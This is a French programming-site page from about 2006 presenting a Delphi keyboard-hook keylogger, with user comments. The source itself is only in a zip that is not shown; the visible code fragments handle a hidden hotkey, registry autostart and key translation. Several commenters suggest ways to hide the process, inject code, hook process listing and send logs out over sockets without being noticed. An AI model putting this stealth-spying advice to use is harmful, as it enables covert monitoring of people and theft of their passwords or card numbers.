Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

NMB KEYLOGGER


Information sur la source

Attention: ce code a été marqué comme suspect par un admin, il peut donc être dangereux.
Ce code a été laissé sur le site dans un but pédagogique, ne l'exécutez pas si vous ne comprenez pas son contenu!
Catégorie :API Classé sous : hook, keylogger, wmcopydata Niveau : Initié Date de création : 21/12/2006 Date de mise à jour : 24/12/2006 21:30:00 Vu / téléchargé: 8 284 / 1 341

Note :
9 / 10 - par 1 personne
9,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (22)
Ajouter un commentaire et/ou une note

Description

Salut a tous ceci est un keylogger qui enregistre les frappes au clavier et les informations relatives a celle ci dans un fichier texte , le programme peut etre caché { pas de la liste des processus :( } , lancé au démmarage de windows en mode caché
il utilise une dll chargé statiquement , les messages WM_COPYDATA pour la comunacation entre le programme et la dll
et le mappage de données en memoire pour créer une zone partagé un hook clavier {et un hook souris en bonus sans éxample} ...

le programme est ici dans un but entierement pédagogique
 

Conclusion

ne pas ouvrire le programme deux fois et cacher les deux en meme temps !
 

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

Historique

24 décembre 2006 21:30:00 :
prise en compte des commentaires de fOxi + correction d'un bug !

Commentaires et avis

signaler à un administrateur
Commentaire de f0xi le 21/12/2006 11:52:07 administrateur CS




if not Visible then begin
   case VirtualKey of
    {Ctrl}
    17: ShortcutState[0] := (KeyStore and $80000000) = 0;
    {n}
78: ShortcutState[1] := (KeyStore and $80000000) = 0;
   end;
   if ShortcutState[0] and ShortcutState[1] and ((KeyStore and $20000000)<> 0) then begin
      ShortcutState[0]:= False;
      ShortcutState[1]:= False;
      self.Visible:= True;
   end;
end;



if Ini.ReadBool('Config','ShowMsg2',True) then begin
   IsChecked := False;
   TheModalResult := MDChecked(Msg2,'Ne plus afficher ce message',IsChecked,mtInformation,[mbOk]);
   if IsChecked then
      Ini.WriteBool('Config','ShowMsg2',False);
end;



Registre := TRegistry.Create;
try
  Registre.RootKey := HKEY_LOCAL_MACHINE;
  if Registre.OpenKey(RunKey, False) then
     ChbReRun.Checked := Registre.ReadString(KeyName) = '"'+ParamStr(0)+'" '+'"Ghost"';
  Registre.CloseKey;
finally
  Registre.Free;
end;

signaler à un administrateur
Commentaire de f0xi le 21/12/2006 11:57:31 administrateur CS

cela ne sert a rien de faire :

if I = 1 then Bool := true else Bool := false;

ça prend trop de cycle CPU pour juste un booléen...

tu fait directement :

Bool := I = 1;

et si on as :

if I = 1 then Bool := false else Bool := true;

on peu ecrire :

Bool := I <> 1;
ou
Bool := not (I = 1);

signaler à un administrateur
Commentaire de jace1975 le 21/12/2006 18:50:43

Déjà vu ce genre de code plein de fois, et je me suis toujours demander l'interet de faire une dll pour un hook claivier.

Peux-tu donc  m'expliquer l'interet de la dll par rapport à un hook directement implémente dans ton application?

tschussss

signaler à un administrateur
Commentaire de DelphiCool le 22/12/2006 09:00:15 administrateur CS

L'interet c'est d'espionner un utilisateur.
Si tu as un réseau, tu peux savoir ce que les autre poste on fait et tapé.
Mais tu peux aussi récuperer des numéro de carte bleu et là c'est dangereux

signaler à un administrateur
Commentaire de N_M_B le 22/12/2006 14:06:33

bonjour a tous ! désolé du retard mais je n'ai pas payé mon abonement internet sa sera pour samedi ,
@ f0xi : oui bien vue merci !
@ jace1975 : enfaite normalement et comme il a été dit pas microsoft on ne peut implémenter un hook sans dll(la dll est chargé en tant que module dans chaque process a éspioner) , mais ils ont mentis apparament car sur cppfrance.com il a été  implémenté in hook clavier sans dll, on delphi je ne sais pas trop si c possible vu que je ne fait pas de c/c++ !

@ DelphiCool:   "récuperer des numéro de carte bleu" ca n'est pas mon but et en plus en algerie on utilise pas de cartes banquaires!
mon but n'est pas d'éspioner un utilisateur m'ais juste la satisfaction d'utiliser des thequniques de programmation nouvelles pour moi , et d'ameliorer mon niveau !

@ tous : d'ès que je rétablie ma connection je met a jour !
a+ bon code

signaler à un administrateur
Commentaire de jace1975 le 22/12/2006 14:50:03

Yo,

Cherche à "Hook sans dll" et surtout crédit à HIPPO. Perso, je m'en sers pour gérer des superraccourcis dans windows.

tschussss

signaler à un administrateur
Commentaire de DelphiCool le 22/12/2006 15:05:32 administrateur CS

NMB, je n'ai jamais dit que tu recupère les numéros de CB.
J'ai dit que ça peut servir à ça et que là c'est dangereux.

Pour Hooker sans dll, il te faut :
- mettre le code dans ton application
- Mettre les exports.
- Charger dynamiquement ton application comme si c'etait la dll

signaler à un administrateur
Commentaire de N_M_B le 22/12/2006 17:24:45

DelphiCool pourais tu m'éclairer sur comment charger l'application dynamiquement je n'ai jamais entendue parler d'un tel procédé !
merci !

signaler à un administrateur
Commentaire de askil2000 le 02/01/2007 16:12:20

interessant, mais détectable par tout les antivirus. j'ai réalisé un keylogger sans dll, trés simple à faire en delphi, maintenant pour qu'il soit invisible (dans les process)c'est une autre histoire ... il faut se renseigner sur l'injection de code :o)

signaler à un administrateur
Commentaire de DelphiCool le 02/01/2007 18:38:21 administrateur CS

askil2000, ton keylogger sans dll marche il sous win98 et Me? (autre que du NT, XP)
j'en ai fais un aussi sans dll, mais il ne fonction que sous NT et XP

signaler à un administrateur
Commentaire de N_M_B le 03/01/2007 02:34:26

les gars si vous pouviez me montrer vos keyloggers je vous en serais reconaissant , sourtout dans le cas d'interprétations des touches et le fait qu'il marche sans dll en tout cas si vous etes d'accord faites le moi savoir pas MP  merci :)

l'injection de code hé oui je voulais  k'il soit invisible dans la listede process alors je me suis un peut documenté et je suis tombé sur ce mot 'l'injection de code' loool sa ma stopé sec !!!

lol alé encore bonne année et bon code a+
N_M_B

signaler à un administrateur
Commentaire de taye78 le 10/01/2007 14:32:05

Hook sans dll: En vérité ce n'est plus un hook car le prog simplement vérifie la position de chaque touche du clavier toute les millisecondes (oui performance = nul) via l'api win32 GetKeyState si je m'en souviens bien.

Je crois qu'il y a une autre manière de faire ça, peut-être en injectant du code dans chaque procès. Le code injecté se chargera de transmettre les info. au procès qui veux les travailler(ipc,wm_*, etc). J'imagine qu'il établira un hook local via lapi win32 SetWindowsHookEx et ainsi recuperera les touches localement actionées.

Cacher son process: il faudrait hooker l'API utiliser pour lister les process, pour le cas spécifique du task manager il faudrait voir quelle API il utilise pour les lister. On peut imaginer EnumProcess (psapi, pas compatible 9x je crois), on hook enumprocess et quand on voit que notre processus va être listé, on change ou cache la valeur.

signaler à un administrateur
Commentaire de jace1975 le 10/01/2007 19:02:25

Taye 78 : tu es aller voir le code de whitehippo??

signaler à un administrateur
Commentaire de taye78 le 13/01/2007 02:27:41

non whitehippo=?

signaler à un administrateur
Commentaire de askil2000 le 13/01/2007 15:24:53

Salut tlm !
DelphiCool : J'avoue ne pas l'avoir testé sur d'autres OS que XP ou 2000, d'ailleur je n'ai pas Win9x ni Millenium sous la main. Le principe de mon keylogger repose en effet comme la sous entendu Taye78 sur les GetKeyState il y a un exemple sur ce site.

j'ai procédé de la façon suivante :

if ((Copy(IntToStr(GetKeyState(65)),1,1) = '-') and (SHIFT.Visible = True) and (CAPS.Visible = True) and (ALT.Visible = False) and (ALTGR.Visible = False) and (CTRL.Visible = False)) or ((Copy(IntToStr(GetKeyState(65)),1,1) = '-') and (SHIFT.visible = False) and (CAPS.Visible = False) and (ALT.Visible = False) and (ALTGR.Visible = False) and (CTRL.Visible = False)) then EdtTouche.Text := 'a' else etc..

traduction de chaque touche du clavier.

un bon conseil si vous voulez faire un keylogger en delphi qui tienne la route utilisé les clients sockets pour la transmition,
car le TWebBrowser vous trahira par l'effet sonor du changement de page :d

@+ tlm ...

signaler à un administrateur
Commentaire de jace1975 le 13/01/2007 16:41:07

http://www.delphifr.com/infomsg_HOOK-SANS-DLL-EST-POSSIBLE-MAIS-COMMENT_593305.aspx

c'est tres facile apres de recuperer les valeurs des touches via un array

signaler à un administrateur
Commentaire de taye78 le 13/01/2007 19:00:14

oui sans DLL enfait au lieu de load une dll cest le module courrant (l'exe) qui est loade et mappe ds chaque process par windows

signaler à un administrateur
Commentaire de DelphiCool le 13/01/2007 19:54:52 administrateur CS

Mais ça ne marche que sur NT et XP

signaler à un administrateur
Commentaire de N_M_B le 13/01/2007 21:44:52

bien dit DelphiCool

signaler à un administrateur
Commentaire de askil2000 le 15/01/2007 14:23:21

:) salut !
DelphiCool,  N_M_B : Certe, mais qui se connect à internet avec windows 98 aujourd'hui risque gros lol
d'autant qu'il n'y a plus de mise à jour de microsoft.

chercher une version compatible tout OS moi j'veux bien voir ça ?

signaler à un administrateur
Commentaire de Loda le 03/02/2007 19:33:16

salut,

très bon code, bien présenté, agréable à lire, bien documenté et clair! beau boulot!

j'ai pris quelques notes lorsque je l'ai lue. Deux-trois trucs que tu peux améliorer. Les voici:


procedure TForm1.SetActive(Active: boolean);
begin
[...]
  Actif:= Active; // me semble faux, tu affect la var à elle-même. utilise self.active. ou renomme le parametre par "value" ou "aActif".

end;

une var inutilisée dans ChbReRunClick

  else MessageDlg(Msg1,mtError,[mbOk],0); //msg1= 'Le log n''éxiste pas'
si tu nomme tes const (genre MSG_NoLogFile) ça évite ce genre de commentaire et rend le code plus clair. ;)


const Msg5 pas utilisé.

aussi, essai de nommer tout les boutons (et autre compo), même somairement.

pour les trucs genre TRegistry. Utilise un "with TRegistry.Create do try finally" ça rend le code plus facile à lire et évite de décalarer une var local.

sinon, c'est parfait.

bonne continuation.

signaler à un administrateur
Commentaire de randriano le 14/07/2008 10:03:57

Bonjour N_M_B,

Beau code source mais ...

VOTRE HOOK EST DETECTABLE EN UTILISANT LES TOUCHES DE NAVIGATION SOUS WORD, NOTEPAD, ETC.
C'est à dire elles ne marchent pas: surtout les touches haut et bas!! Quelle pouasse !!!

Ajouter un commentaire

Discussions en rapport avec ce code source dans le forum

Hook dll : comment ca marche ? [ par Millenius ] Bonjour, je voudrais hooker un dll.Le clavier et la souris, ca je sais faire.Ce que je voudrais, c pouvoir connaitre les flux de données entrant et so Je pensais faire un Keylogger mais c pas si simple... [ par Youyou0214 ] je voudrais faire un keylogger mais je viens a peine de commencer et des problemes se posent deja. Je voulait que mon application demarre au demarrage Je pensais faire un Keylogger mais c pas si simple... [ par Youyou0214 ] je voudrais faire un keylogger mais je viens a peine de commencer et des problemes se posent deja. Je voulait que mon application demarre au demarrage Traduire Hook Cplusplus en Delphi [ par lucien ] Qui aurait le temps(d'abord), la gentillesse et la liberté mentale (ensuite) de traduire un programme (de 7 pages au format word: deux pour la dll et Hook clavier sur windows XP et 9x [ par bebeb3 ] Bonjour, Je viens de finir un petit prog utilisant un hook du clavier.Sous Windows XP, il fonctionne parfaitement mais sous windows 9x, il plante d Hook sur une Applet Java [ par sympman ] Bonjour,Je souhaiterais faire un hook sur une applet Java afn de simuler des ecritures et des recuperations de resultats sur celle ci.Le but étant d'a keylogger et touche [ par globule ] Bonjour,J'ai recuperé sur ce forum la routine de keylogger suivanteprocedure TForm1.Timer1Timer(Sender: TObject);var pos, c : integer;begin//64 = Code Hook clavier [ par Niki2001 ] Quand on fait un hook du clavier en utilisant WH_KEYBOARD_LL, on utilise la structure suivante:THookClavier = record&nbsp;&nbsp;&nbsp; vkCode: DWORD;& Encore des fameux HOOK [ par ioda19 ] Bonjour,&nbsp; Malgr&#233; le fait que j'ai lu pas mal tout ce que j'ai trouver sur les hook dans ce furum et sur beaucoup d'autre, je n'ai pas trouve Hook sans dll, c'est possible , mais comment ? [ par jace1975 ] salut &#224; tous je travaille actuellement sur une application, pour me permettre&nbsp;notamment de &nbsp;killer imm&#233;diatement le processus en c


Nos sponsors

Sondage...

CalendriCode

Septembre 2008
LMMJVSD
1234567
891011121314
15161718192021
22232425262728
2930     

Consulter la suite du CalendriCode

Téléchargements



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel BAÏSE, Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,41 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.